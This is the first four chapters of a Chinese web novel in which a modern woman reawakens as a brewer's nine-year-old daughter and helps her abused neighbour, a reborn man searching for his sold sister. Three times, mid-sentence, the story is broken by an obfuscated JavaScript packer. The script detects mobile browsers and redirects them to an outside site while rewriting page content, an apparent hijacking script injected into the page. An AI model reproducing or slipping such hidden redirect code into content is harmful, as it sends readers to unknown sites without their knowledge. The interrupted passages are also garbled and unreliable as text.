《酿酒小娘子市井日常》 1. 第1章 蔚蓝的天空澄净得如同一块打磨好的水玉,在朵朵残云的衬托下愈发剔透。 初夏的天暂且算不上热,偶尔吹来的微风还带着几分凉意。 青砖绿瓦的小院一间挨着一间,将府城这对于外人来说寸土寸金的地界分割成一个个小家。 稍远于闹市的巷子里住着相熟的街坊邻居,大家一起住了这么些年,附近没什么他们不知道的事。 就连新搬来没多久的人家,都被四邻打听了个底朝天。 清早的平仲巷还算安静,要做生意的人家早就收拾好出门去了,大概只剩老人和小孩在家里待着。 宋家也关了个小孩,不像其他人那样到处乱跑,因为门上挂了把锁,她只能窝在门里的分寸之地打发时间。 被晨风柔和的阳光逐渐变得刺眼,宋溪云用手臂遮住眼睛,继续躺着没有动弹。 砖石、房梁和瓦片都是好料子,完全能稳稳托起一个九岁大的小孩。 每次锻炼完,她都喜欢爬到屋顶上,看看眼前真实存在的大好河山。 这边大多是一层的砖瓦房,远处则星星点点落了好些座两层的木楼,主街那片地方甚至还立着三层的建筑。 宋溪云对历史没什么研究,仅有的一点常识也不能让她判断出自己所处的朝代,况且这里未必就是史书上所记载的古代。 毕竟她都穿成小孩了,换个时空也不是不可能。 “嘭!” 隔壁传来一声巨响。 宋溪云来到这个世界差不多快两个月了,对于隔壁的动静早就习以为常。 旁边住着一个赌鬼爹和他的一双儿女。 女儿前段时间不知道去哪了,宋溪云没有再听到过她的动静,而比自己大一岁的男孩则在沉默中抗争着,时不时被他那个赌鬼爹咒骂几句。 今天同样如此。 只听汉子用粗哑的声音骂道:“小兔崽子!饭呢?想饿死老子是不是!” 没人应答。 那人大概是去灶房找吃食去了,紧接着有一阵霹雳哐啷的声响,隐约间还能听到拳打脚踢的动静。 “小畜生!还敢瞪老子!看老子不打死你个白眼狼!” 宋溪云没再细听那些难听的话,但过一会却发现有些不对劲。 按之前来看,如果赌鬼儿子反抗的话会被多骂几句,今天好像只是男人单方面的发泄。 阳光开始变得晒人,正好宋溪云也休息够了,她熟练地爬下竹梯回到院子里。 不久之后,大门砸向砖墙,随着汉子的骂声远去,隔壁的动静也渐渐平息。 两三米高的矮竹梯并不算重,宋溪云将梯子靠在和隔壁相邻的院墙上,悄悄探出个脑袋观察那边的情况。 只见房屋门口的地上蜷缩着一名瘦弱的少年,手脚护着脆弱的脑袋和腹部,也不知道伤得怎么样。 周围都是想过安稳日子的小老百姓,很少人愿意和赌鬼汉子打交道,对于他那可怜的一双儿女,也只敢在背地里偷偷接济。 因此,赌鬼刚离开这会儿没人敢过来。 宋溪云看那小孩躺在地上一动不动,也没有因为疼痛而发出声音,怕人出什么事,她只能小声喊道:“喂,喂!” 由于身体虚弱,宋溪云穿过来之后一直都待在家里,对于外界的情况所知甚少,但从她家便宜娘亲那里听说过,隔壁家是姓慕,那个男孩好像叫—— “慕萧!” 慕萧睁开双眼,一时之间有些浑噩。 他感受着身上轻微的痛楚,手不自觉地摸向自己的脖颈。 身边没有一具具尸体,也没有浓郁到令人作呕的血腥气,甚至安静得有些不同寻常。 下一刻,四邻开门的吱呀声、小孩叽叽喳喳的喊叫声、街道上买卖的吵闹声……世间万物好似在慕萧耳边活了起来。 他缓慢地撑起身子,倚靠在墙边。 “你没事吧?要不要去医、医馆看看?”医院两个字差点脱口而出,宋溪云反应过来之后立马改了个说法。 慕萧看向出声的人,随后垂眸仔细回忆着对方是谁,可惜时间太过久远,他并未记起。 宋溪云被他沉沉的一眼看得呼吸一滞,半晌才把那口气吐出来。 这小孩……眼神还怪吓人的。 宋溪云尽量忽略那种违和感,本着友善的邻里道义还想再问一遍,却突然听到少年腹部传来的声响。 “咕咕——” 慕萧显然也愣住了,他身居高位多年,早已忘记自己挨饿受冻过的少年时期,在陌生人面前显露出这丢脸的一面后,竟久违地觉得有些难堪。 怪不得没有和他爹打起来,原来是肚子饿得没有力气,宋溪云在心里想着。 “你没吃饭啊?我给你拿点吃的?” 她家便宜娘亲每天都会煮俩鸡蛋让宋溪云补身体,早上吃不完的时候她会留着中午吃,今天正好有剩。 橱柜里好像还有一两包糕点,也可以给人填肚子。 据宋溪云这段时间的观察来看,宋家的条件应该不算差,偶尔帮衬帮衬别人也能负担得起,否则她也不会这么大方地发善心。 那小姑娘清澈的眸子里带着真诚的关切,在这样的目光中,慕萧迟疑着点了点头。 “行。”宋溪云当即下了梯子去拿东西。 慕萧没来得及道谢,只能坐在墙根底下细细思索着。 久远的记忆早已模糊,但眼前的一砖一瓦足够清晰,唤起了他蒙尘的记忆。 这里是慕萧从小到大住了十多年的地方,只是有银钱傍身之后他便另买了一处居所,从此再未踏入一步。 未曾想,归来时竟是隔世。 慕萧从不信神佛,可当下的境况让他不得不承认——自己似乎是轮回转世了。 虚无缥缈的来世,如今竟有成真的一天。 他勾起一个笑,没有在这件事上多费心神。 自懂事起,慕萧便一直护着姐姐同慕志财对抗,直到慕志财这个畜牲为了还钱,把姐姐卖给赌坊,他才涌出恨意,父子俩也因此天天打斗。 即便到了后来,慕萧的势力遍布府城甚至更远的地方,却依旧没有找寻出姐姐慕雨的下落。 他感受着身上微微泛起的痛楚,知道这个时候的姐姐已经被卖,至于更确切的日子,还得再认真想想。 而刚才的小娘子应当是邻居家的女儿,只是慕萧依稀记得,那小孩约莫在一个冬日里夭折了…… 本应“夭折”的宋溪云提着一个篮子重新踩上竹梯,半点不怕两米多高的院墙。 篮子的提手上绑着一根绳子,方便宋溪云放下去,她随口问道:“你还走得动吗?” 毕竟对方瘦得跟竹竿一样,不知道饿了几顿,又被那个渣爹打了,宋溪云真怕他扛不住。 “能走。”干涩的喉咙里只能发出两个气声,慕萧站起身,慢慢朝着墙根走去。 少年的身体太过虚弱,连行走都有些勉强,但他还是挺直了背脊,不让自己露出丑陋的姿态。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360685|183661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 篮子没有遮挡,能看到里面装着的鸡蛋、林檎果、用油纸包好的糕点一类和塞紧的竹筒。 慕萧有些诧异,只听墙头上的小姑娘说道:“竹筒里冲了一杯红糖水,你记得喝完。” 宋溪云拿鸡蛋的时候想起水壶里还有点温水,就顺便找了块红糖泡开,给人补补糖分,可别低血糖再晕倒了。 家里的零食基本上没断过,除了隔三岔五的糕点和水果,饴糖果脯这些也常常会有,她为了不掉马,只能根据原身模糊的记忆和便宜爹娘的态度去扮演一个小孩子,对于零食自然不会拒绝。 可惜最近没补货,搜刮半天才扒拉出这么些。 诚然,慕萧得势后一直过着常人所认为的富贵日子,不用为吃穿忧愁,可他清楚地记得——在自己小时候,别说一个鸡蛋,哪怕是一小块饴糖都能让他惦记许久。 但是家里的钱都被慕志财送给赌坊了,有时连买米粮的银子也留不住,慕萧和姐姐天天看米下锅,每天尽量少吃点,挨到下次慕志财把粮食买回来。 慕萧心头突然一悸,他终于想起现在是什么时候了! 当年慕志财靠卖女儿得了一笔银钱,抬脚便进赌坊还钱继续玩乐,过了五六天才喝了个烂醉回来。 因是在半夜将慕雨绑走,沉睡的慕萧并未察觉,等醒来后发现不对劲时,姐姐早就下落不明了。 他赶忙跑到各个青楼去找寻,毕竟清倌的身价比娼|妓高,以慕志财的为人,决计不会放过多拿银子的机会,慕萧猜测姐姐应当是被卖进了青楼。 可惜找了五天,半点都没有姐姐的踪迹。 灶房里的米只剩下一捧,疲累的慕萧顾不上吃饭,靠在灶台边上沉沉睡去。等次日醒来,就看到了撒酒疯的慕志财。 他想询问姐姐的下落,却被仍然健壮的男人一阵打骂。比起慕志财,慕萧年少时很是瘦弱,再加上每天的吃食只够果腹,自然没什么力气。 若是以往,慕萧怎么也得在慕志财身上落下几拳,但他身心俱疲,头晕无力,连还手都做不到。 那年的慕萧在慕志财走后昏昏沉沉,隐约记得有一户邻居给了他三个肉包,让自己不至于饿死。 而转世后的今日,隔壁的小姑娘同样向他施以援手。 慕萧一瞬间竟有种错觉——自己是不是命不该绝。 可他这种人连个好字都称不上,即便是转世一遭也不会成为什么善人。若老天爷真的善恶分明,只怕是难得出了纰漏,对他看走了眼。 不过,如此这般,倒是可以借着以前得来的消息先把姐姐找到,至于其他事……再做打算也不迟。 慕萧敛下心神,抬头对宋溪云认真说道:“多谢。” “没事,不用谢。”宋溪云随口回他,想着对方应该需要独自吃东西的空间,就和人打了声招呼:“你慢慢吃,我下去玩会。” “好。” 果然是年纪不大的小姑娘,做事虽周到,却还是挡不住玩闹的心思。 慕萧将打开的门关上,随后回身缓缓倚坐在篮子旁边。 微甜的糖水尚且温热,暖了饥饿的腹腔,因手指间带着几分颤意,他只好拆开随意裹住的油纸包。 里面除了糕点,还有饴糖、蜜饯、果脯这些。 慕萧以前不常吃甜食,总觉得腻人,如今倒是尝出几分恰好的甜味。 少年姿态从容,并未被饥饿驱使得狼吞虎咽,若是忽略眼下的境况和乌青的伤痕,被误认为哪家的公子哥也不足为奇。 2. 第2章 宋溪云并没有像她说的那样去玩耍,而是在心里数着拍子做了一套广播体操。 这具身体当初太过虚弱,好好养了半个多月才稍微恢复一点。 她从便宜娘亲平时絮叨的话语中得知,原身从今年开春起就开始感冒,时不时还发烧,一度陷入昏迷,大夫直言让他们准备后事。 直到自己穿过来之后,高热的症状才有所缓解,身体也渐渐恢复健康。 宋溪云琢磨不出之前得的是什么病,也不清楚痊愈的原因,干脆当作是穿越的福利,随即收拾好心态做个九岁的“小孩”。 不过病怏怏的身体总归不太爽快,于是她等身体好转到不再虚乏无力了就适当锻炼着。 强度不用太高,广播体操对于现在的宋溪云来说正正好。 一套做完,隔壁的人应该也吃得差不多了,她利落地踩上竹梯去看对方。 慕萧刚把果核和鸡蛋壳收拾干净,一出灶房便碰到探头的宋溪云。 见篮子空了,宋溪云朝他问道:“杯子你拿去洗了?” “嗯。”慕萧点头应道。 帮人帮到底,放着等她洗也不是不可以,既然小孩自己洗了,宋溪云就不再多说,让人把杯子拿过来和篮子一起拉上去。 注意到他脸上青紫的痕迹,她提醒道:“家里有药吗?你身上的伤要不要处理一下?” 慕萧受过比这更严重的伤,刀口甚至深可见骨,但他从未在意过,因此也不觉得如今这点伤有多严重。 不过既然被自己的“小恩人”提及,他只好回道:“会去药铺买药膏。” 慕萧在这个年纪其实身无分文,倘若他没记错的话,姐姐应当自己攒了十几文钱藏在卧房里。 寻常的药膏十文钱一罐,这笔钱暂且先跟姐姐借着应急。 见人有自己的打算,宋溪云也就没多说什么,叮嘱了一声当作道别:“那你歇会再去,记得避开你爹。” 若是被慕志财看到自己去药铺,恐怕会引发事端,平白浪费这难得的先机。 慕萧自然清楚其中的关窍,不想这小娘子竟与自己的想法不谋而合。 他应声道:“好。” 宋家的院子比其他邻居家更大一些,但是再大的地盘也在两个月里被宋溪云逛了个遍——除了靠近慕家那边的几间石墙茅草屋。 一间大屋子和两间小屋子,没有跟周围其他建筑一样盖着绿瓦,而是铺了几层厚厚的茅草,显得格外特殊一点。 原身从小被教导着不准进去那三间茅草屋里面,拥有模糊记忆的宋溪云当然也不会像寻常小孩一样叛逆。 她收好自己的好奇心,没有试图偷摸着溜进去。可是砖墙挡得住视线,却挡不住隐隐飘出的酒香。 天天惦记着玩闹的小孩当然不知道酒水所代表的价值,但宋溪云对这些还是大概有点了解的。 酒税向来占古代赋税的大头,其中的利润可见一斑,就算宋家只是个小作坊,挣的钱也足够一家人过上好日子。 宋溪云突然庆幸自己穿的这户人家条件不算太差,而且还住在城里,要是让她去乡下种地,累不累苦不苦都另说,至少菜是种不活的。 某人蹲在院子里的小菜地旁边,小心翼翼地拔起两株已经长得比菜高的杂草,然后背着手,溜溜达达进屋去了。 隔壁的“小孩”缓了一会之后也挪进了屋,他翻出一小袋铜板,出门一路摸索着走到药铺。 眼前的一切陌生又熟悉,在慕萧的记忆里早已过去许多年,他却依旧能认出慕志财常去的几个地方。 带着伤的少年不动声色地观察了几处热闹的茶馆和脚店,确认慕志财正在街边的一家脚店同人喝酒后,慕萧悄悄挡住身形,从另一条街绕路走了。 要去的药铺是一家开了十多年的老店,价格实惠且药效好,即便是日后手头宽裕的慕萧也习惯托人在这里买药。 两个年轻的学徒坐在不碍事的角落,正拿着品相差的药材练手。 看店的老头蓄了长须,听到进来的小孩要一罐药膏,慢慢踩着步子从药柜里拿给他,收了八文钱。 慕萧将药拿好,却并未沿着来时的路回去。 他走在熙熙攘攘的街道上,循着十数年后的印记与当下的岁月重逢。 眼前的一切虽不似来日那般繁华,但从老百姓鲜活的热闹里也能窥见几分。 路过的铺子有十几家是慕萧听说过招牌的,其余大部分隐约有几分印象,剩下的则只留在人们的记忆里。 一条又一条街从头走到尾,瘦弱的少年中途停了下来,拿两文钱买两个顶饿的馒头边走边吃。 半大的男孩本就胃口大,没一会就将馒头吃了个干净。 一路走走停停,慕萧终于来到城郊一处不起眼的小院附近。 草木葱茏,遮挡住了一部分屋舍,因陌生人在小村庄里更醒目些,他只能躲在灌木丛里观察。 临近午时,屋顶上慢慢飘出一缕炊烟,汉子从远处挑水归家,屋里的稚童笑闹着喊爹娘。 眼前显然是一幅寻常画面,可慕萧却知晓其中的猫腻。 随着海运日渐兴起,楚庭的富庶不仅让人趋之若鹜,也滋养了某些人的贪婪。 他们不再满足通过奴隶去经营青楼或妓|院,而是直接拐|卖平民百姓以谋取利益,其中还不乏有像慕雨那样,被赌徒爹娘或血亲卖出去的男孩女孩。 当年慕萧以那群赌徒为线索,费了一点力气才探查到姐姐最初被藏匿的地方——正是眼前的小院。 此处远离府衙的辖区,却临近海边的津渡,便于乘船远航。 只可惜楚庭那边也未发现姐姐的下落。 慕萧席地而坐,含着一颗饴糖静静等待着。 …… 白日高悬,屋内隐隐吹来几缕微风,窝在房间里的宋溪云正翻看着原身以前启蒙用的书本。 书名耳熟能详,是《三字经》《百家姓》和《千字文》三本,经典的几句能背出来,通读下来也不成问题。 只不过宋溪云写惯了硬笔字,偷偷拿毛笔练的几个字跟鬼画符一样。 要想装成原身糊弄过去,还得把字练一练。 屋外传来开门声,宋溪云悄悄把东西放好,摊开旁边的话本子做掩饰。 “小云,过来吃饭了!”林香梅将食盒放在堂屋的桌上,见到宋溪云后匆忙嘱咐了几句:“吃完照旧放灶房等你娘收拾,姨这边有事,就不多待了。你在家好好的,别乱跑。” “知道了,林姨。” 林香梅看小姑娘近来安分了许多,便没有再说什么,三步并作两步朝门口走去,关门的时候顺手又锁上了。 宋溪云听到落锁的声音,叹了口气。 一个月前她身体好了很多,就和小伙伴出门转了一圈,大概是因为吹了冷风,隔天直接感冒了。 便宜娘亲担心得不行,怕她玩心重又偷偷跑出去,于是夫妻俩不在家的时候干脆把门锁上,托关系好的邻居给宋溪云送饭。 宋溪云当然能理解宋家夫妻的做法,只是觉得自己这样子有点像坐牢。 不过“牢饭”看起来挺好,用敛口碗装了三菜一饭,足够她一个人吃饱。 浓油赤酱的红烧肉肥瘦相间,一旁的炸鱼块酥香诱人,还有一碗清炒生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360686|183661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菜。 宋溪云闻着饭菜香准备动筷子,突然想到隔壁的男孩。 自己少吃一点倒没什么事,那小孩再不好好吃饭可别饿坏了。 她去院子里搬出收好的竹梯,照旧靠在墙边。 邻居家静悄悄的,不像是有人在的样子。 宋溪云小声喊着慕萧的名字,半天没人回应,她又等了一会,估摸着对方应该是出门了,只好踩着楼梯下去。 —— 宋家的大门被人从外面推开,往内凹出一条缝,一只灵动的眼探了探,在找寻着什么。 过了一会,只听到清脆的声音偷偷摸摸地喊道:“小云,小云!” 宋溪云双手撑在桌子上往外看,发现是“自己”的小伙伴之后才溜达着朝门口走去。 “小云,你什么时候能出来啊?东郊那边开了座鞠城,到时咱们一起去玩!”楚蓉贴着门缝说道。 “我听他们说很好玩,”底下挤出一只小胖手,递给宋溪云一块果脯,“小云,吃。” 宋溪云边接过来边说:“不知道,我娘说过几天带我去医馆看看。” 楚蓉摸了摸她的额头,另一只手学医馆的大夫那样捋捋下巴,说道:“我看你面色红润,脉象平稳,无碍了!” “蓉蓉,你还没有把脉。”旁边的田佑提醒道。 “哦,忘了忘了。”楚蓉又将手移到宋溪云的手腕处,把脉把得有模有样。 宋溪云由着女孩闹,随口说道:“楚大夫,那请你跟我娘说放我出去玩吧。” 楚蓉立马缩回手,脑袋摇成了拨浪鼓,“不行不行,楚大夫手艺不到家,信不得。” 田佑给两人递果脯,说道:“小云,自从你生病后兰姨就越来越凶了,你好好养病,我们等你一起去玩。” “对,左右我买蹴鞠的铜板还没有攒够,差了七文钱。” “上次不是说只差三文钱了吗?”宋溪云问。 三个人家里条件都不算差,想吃什么父母也会买,但像蹴鞠这种二十文一个的玩具,还是得靠自己“挣钱”去买。 楚蓉支支吾吾道:“我,我看那两朵绢花好看,就买了……四文钱也不贵嘛……” 小姑娘脑袋上果然别着两朵桃花样式的绢花,衬得人更加灵动可爱。 田佑听闻,从油纸包里拿果脯的动作也带了点迟疑。这一包得花十文钱,买两包就能抵一个蹴鞠了。 他偷偷朝宋溪云那边看了一眼,在想要不要将油纸包藏一藏。 小孩子心性不定是常理,宋溪云笑着说:“那你岂不是得多绣几张帕子了?” 楚蓉家是开成衣铺的,她从小学做女红,平时靠绣帕子、荷包这些挣零用钱。 见宋溪云没有计较,楚蓉和田佑不由得松了口气。 不知道为什么,养病的小云有时会变得和大人一样可怕,肯定是在家和兰姨待久了,两人这样想着。 “几方帕子而已,不过多费些时辰罢了。”楚蓉摆摆手,并未觉得事情有多难办。 “可是,”田佑小声道:“蓉蓉,你上次一方帕子绣了一个上午,我都等饿了。” 楚蓉转过头瞪他,喊道:“田冬瓜,吃你的零嘴!” “哦。” 宋溪云在一旁笑得开怀。 …… 秋方霞光铺了满天,一对年轻夫妇在熙攘的人群里驾着驴车慢慢前行。 驴车在街尾一家赁驴铺停下,夫妻俩同店家知会一声,便下车拐进了小巷,铺子里的伙计随即牵着驴子回后院喂草料。 没过多久,宋家大门打开,归家的妇人唤了一声:“云云——” 3. 第3章 夏夜静谧,只山野间隐隐传来细碎的虫鸣。 郊外小村的众人正酣睡着,并不知晓某户人家在黑夜里走水。 火势乘风而起,偶有起夜的人见火光大亮,连忙惊呼叫醒旁人。 一家连一家,等大伙提水灭火把人救出来后,屋子早已成为一座废墟。 明月皎洁,照亮了主人家哭喊的嘴脸,也指引着另一行人赶路的方向。 待到清晨时分,山中某处废弃的破庙里飘出一缕炊烟,庙内看不到人影,只偶尔有几声细语。 …… 天不过才蒙蒙亮,整个城市便有苏醒的迹象。 郊外的农户或背或挑或驾驴车前往城里,府城的各路商贩也开始走街串巷,而有一定规模的商队则装好货物,走出城门驶向远方。 人群往来间,除去部分卖吃食的店铺,其余铺子依旧紧闭着。 巷子里的开门声陆续响起,原是卖柴火和卖水的汉子上门询问。 柴米油盐酱醋茶,住在府城的人家样样都得花钱采买。 离水井近的住户还能自己挑一担水省笔花销,至于远的,要么费时辰挑回来,要么直接从挑夫手里买。 至于院子里有一口井的宋家,自然不用多费心思。 宋兴安提着满桶水去小菜地里浇菜,杜春兰从灶房出来,手脚麻利地掐了一把蕹菜,洗净后准备下到汤饼里添个味。 沐浴在晨光里的各类鸟雀叽叽喳喳叫唤着,年轻妇人看了看时辰,朝屋里喊道:“云云,该起了,早食都快出锅了!” “来了!”宋溪云应声,顺手擦干净额头上的细汗。 她习惯早起,为了瞒着宋家夫妇锻炼身体,只能躲在屋里装作睡懒觉,否则两个古代人看到仰卧起坐和俯卧撑这种动作肯定会觉得奇怪。 幸好原身也是个爱赖床的性子,不容易被人发现端倪。 宋溪云散开扎好的麻花辫,熟练地绑出小女孩常见的双鬟发型。 当初她刚穿越的时候试了好半天才搞定,现在也算是轻车熟路了。 丹阳破了虚蒙,倚在无穷碧落。 宋溪云拿着“牙刷”沾点牙粉,蹲在菜地旁刷牙。 宋家的地界比周围邻居大上几分,因此能腾出一块地种菜,有时菜长得繁了,还能往外送一点。 檐下放了张小桌,最适合入夏时吃饭乘凉。外围垂了两层竹帘,能将烈阳和雨水遮挡在外。 一家人坐在桌前吃汤饼,浓稠的面汤里浮着面片和蕹菜,宋溪云夹起来吹了吹,慢悠悠吃着。 隔壁卖豆腐的人家约莫听到了宋家的动静,隔着院墙问道:“春兰,今天要不要豆腐?” 杜春兰放下筷子回道:“要!吴姐你帮我留一块!” 没等吴丽应声,不知哪家也扯着嗓子喊道:“吴姐!我家要两块!” “好嘞。” 正好杨林挑着担子回来了,吴丽同他知会一声,把刚才要的几块豆腐送过去。 “春兰,我来送豆腐。” “诶,来了!”杜春兰连忙掐一把蕹菜,又匆匆跑过去开门。 半巴掌见方的一大块豆腐躺在碗里,杜春兰取出两文钱,和蕹菜一起递给吴丽。 邻里间早已习惯这种往来,因此吴丽也不推拒,将菜一齐收下。 “吴姐进门坐会,我去把碗空出来。” “好。” 宋溪云乖乖喊了声伯娘,宋兴安也招呼吴丽过去坐,她笑着应下,却没有往桌前凑。 吴丽迈步朝菜地那边走,随口说道:“家里还是得有块地,想吃什么种什么,舒坦自在。” 杜春兰拿着腾空的碗从灶房出来,闻言笑着道:“吴姐家院子是小了些,改明儿挣钱了咱们换个大的。” “就你会说好话。”吴丽嘴上笑骂着,心里却有同样的打算。“老孙家还等着呢,你们吃好,我先过去了。” “好,吴姐慢走。” 院门重新关上,杜春兰把剩下的汤饼吃完,对宋兴安说道:“我去把驴车牵来,酒都备好了?” “十七坛,错不了。” “给我看仔细点!上次少了一坛醉春芳,还好许大人不计较,否则生意都难做。” “哦……” 宋兴安挨了骂也不敢回嘴,只能缩着脖子去屋里再查看一遍。 宋溪云安安静静吃完早餐,等杜春兰出门后也回屋窝着去了。 便宜爹娘估摸着有二十七八,比宋溪云自己大不了多少,就算她心态再好,也难免有些不自在。 所以宋溪云一边努力伪装成原身不露馅,一边学会和夫妻俩相处。 经过这两个月的适应期,她差不多能把对方当成合租的小情侣看待了,至于其他方面,还得继续磨合。 …… 杜春兰牵着驴车走在街道上,大路宽敞,足够三四辆车马并行。 两边的商贩和店铺老板大多是熟人,不论远近,见着了总得打声招呼,一路走过去都是热热闹闹的。 而巷子里是另一种热闹,拐进之后自成一方天地,满是家长里短的烟火气。 驴蹄的踢踏声和着不远处的叫卖声,在青石巷路上慢慢回荡。 赁驴铺子里的毛驴都是训过的,不论来租赁的是什么人,总归能顺当地牵走干活。但这牲畜也有脾性,太过温顺的人通常会被欺负。 不过就算是再犟的驴,此时被杜春兰随意牵住也不敢“造次”。 驴车穿过几条小巷,最终稳稳停在宋家门口。 宋兴安已经将酒坛清点了两遍,不用自家娘子多说,径直抱起一坛子酒往板车上放。 杜春兰一边稳住驴车,一边在背地里悄悄覆核酒坛的种类和数量。 板车渐渐被摆满,三坛三坛酒用麻绳捆绑在一起,以防路途中颠簸滚落。 杜春兰唤了声云云,叮嘱道:“爹娘去送酒了,你在家把门闩好,别到处乱走。” 宋溪云在心里叹口气,抬头乖巧道:“好。” 杜春兰在板车后头看着酒坛,宋兴安见她坐稳当了,才拉动缰绳驾车离去。 屋里只剩宋溪云一个人,想起昨天差点饿晕的男孩,她搬出竹梯悄悄往隔壁看了两眼。 邻居家没什么动静,好像没人回来过。 不过是“萍水相逢”,因此宋溪云也没有过于关注,进屋继续琢磨她的鬼画符去了。 —— “古今诸事了,共附谈笑中。今日听某评书一曲,咱们啊,来论天下英雄——” 临街的茶坊里热闹非凡,说书人独坐高台,面对四方来客丝毫不怯场。 宋兴安四下张望着,只听不远处的友人喊道:“老宋,这边!” 他寻声而去,落座后眼尖的伙计立马倒了杯清茶,又连忙去招待其他客人。 杜春兰懒得去外头玩乐,就着午后的微风在檐下缝衣裳。 闺女正是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360687|183661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长身量的时候,得多备两身衣裳以后穿。 铜环在门板上轻敲了三声,杜春兰听见动静,扬声喊道:“进!” 大门被轻轻推开,身穿襕衫的学童探出半个身子,他小声道:“兰姨安好,我,我找小云。” “承望啊,来,进来坐。”杜春兰笑着同闵承望招手,转头叫宋溪云:“云云,快出来,承望找你玩。” “来了。”屋里的宋溪云只好被迫出门。 门口的男孩挤在门缝里,显然没有进来的打算。 宋溪云朝闵承望走去,走到一半才觉得自己应该和杜春兰报备一声。 普通小孩好像都会这样,她自在惯了,一时没有适应过来。 “娘,我和他去外面玩会?” 杜春兰抬头看了一眼,随口道:“去吧,别走远了。” “好。” 闵承望跟着宋溪云出来后显然自在了不少,他开口道:“小云,我听说最近开了座鞠城,好多人去玩,蹴鞠我已经买好了,你们要一起去吗?” “我身体没好,和蓉蓉他们约了晚点去,到时再叫你。”宋溪云听懂了这小孩话里藏着的意思,她又问道:“你下次休息在什么时候?” “是廿一那天。”闵承望看向她,眼里带着淡淡的欣喜。 “好,我记住了。” 自己以往都会带点零嘴过来,这次实在是没有多余的铜板了,只能作罢,闵承望怕“小伙伴”在意,心里不禁有些忐忑。 他支支吾吾想解释一番,宋溪云却不给他机会。 “那就这样定下了,我不能在外面呆太久,先回去了。你找蓉蓉和冬瓜他们玩吧。” 这孩子每次过来都带着不自知的讨好,看得宋溪云心里不是滋味,只好打发人到别处玩。 “好。”闵承望应下,分别后却并未如宋溪云所说去找楚蓉和田佑。 自己当初靠吃食才央得宋溪云带他玩,若是离了她,常会觉得难以融入,不如回屋温习课业,否则父亲又该罚了。 —— 堤边杨柳随风起,拂不散,暑热意。 高树洒下一片阴凉,借商贩们一处舒坦地。 混在行人中的慕萧即便穿着打了补丁的粗布衣裳,也依旧难掩举手投足间的一丝贵气。只是因为年纪尚小,少有人在意。 少年沐浴在日辉里,信步穿过一条条大街小巷,最终驻足于某间简陋的木棚前。 四周隐隐散发着恶臭,各家传来的碎语中混了几声似有若无的哀号,还有近处女童清晰的咳嗽声。 慕萧神色未变,从容抬手敲了敲门板。 里面的人只开出一条缝隙,警惕地打量着眼前的陌生人。 慕萧看着对方熟悉的面孔,一时有些恍惚。 …… 不消片刻,慕萧推开门。 他身后的高个少年喊来一小孩,叮嘱了几句便跟着刚认识的陌生人离开。 两人走到正街一家茶楼内,少年握了握拳,按慕萧说的那般,随意朝楼上走去。 “十岁”的小孩带着好奇,将茶楼上下到处打量了一遍。 掌柜和零星几个客人的视线落在两人身上,不过几息后又挪开,继续算账喝茶。 二楼没了底下刻意伪装的清静,各个雅间里传来亢奋的喊声,不知有多少户人家即将支离破碎。 慕萧对此习以为常,少年则紧张地看着他,得到保证后才推开身边的门。 4. 第4章 早晨的街道上行人不多,各类早食铺子已经过了最忙的那阵,老板和伙计正好得空歇会,而其他铺子才刚到启板的时候。 男人熟练地搬开遮挡的木板,家中娘子则坐在店里,手上端着青釉梅花碗舀粥喝。 约莫是店铺后头带了灶房或小院,自家熬的粥里绿豆更多些。 杜春兰牵着宋溪云路过铺子门口,沿街碰到熟人时略微顿步聊上几句。 “春兰,小云这是病好了?”一年轻妇人随手递来小把樱桃,自己捻一颗后示意杜春兰和宋溪云也吃。 杜春兰没有客气,先给自家女儿拿了几颗,再挑颗小点的送进嘴里。她回道:“好些了,正要带她去看大夫。” “找严大夫?” “对。” 于燕凑近了几分,低声问道:“真不去徐大夫那里了?” “不去。他要是再说我家云云有什么好歹,我非得骂死他!”杜春兰一想起当初徐大夫让他们夫妻俩给女儿准备后事的场景,心里的悲痛就像针刺一般冒出头。 “别气别气。”于燕连忙哄她,接着道:“徐大夫这段时间都出门做义诊去了,没给几个人诊错过,他的医术咱们清楚,估摸着也就那一次。” “一次就把云云说夭折了?那多来几次还得了?”杜春兰越说越冒火,压着脾气对人说道:“下回聊,我先带云云去医馆。” “行,行,你们去。”于燕给杜春兰顺了顺气,又抓一小把樱桃放到宋溪云手里。 杜春兰拢住宋溪云的手顺势接下,随后轻揽着她的肩膀往前走。 两人路过对街一家医馆时,正好能看到里面坐着的一位大夫,那人瞧见宋溪云后立马盯住她,嘴里神神叨叨地念着什么,连杜春兰瞪他一眼都没发觉。 宋溪云收回视线,只能在心里悄悄道了声抱歉。 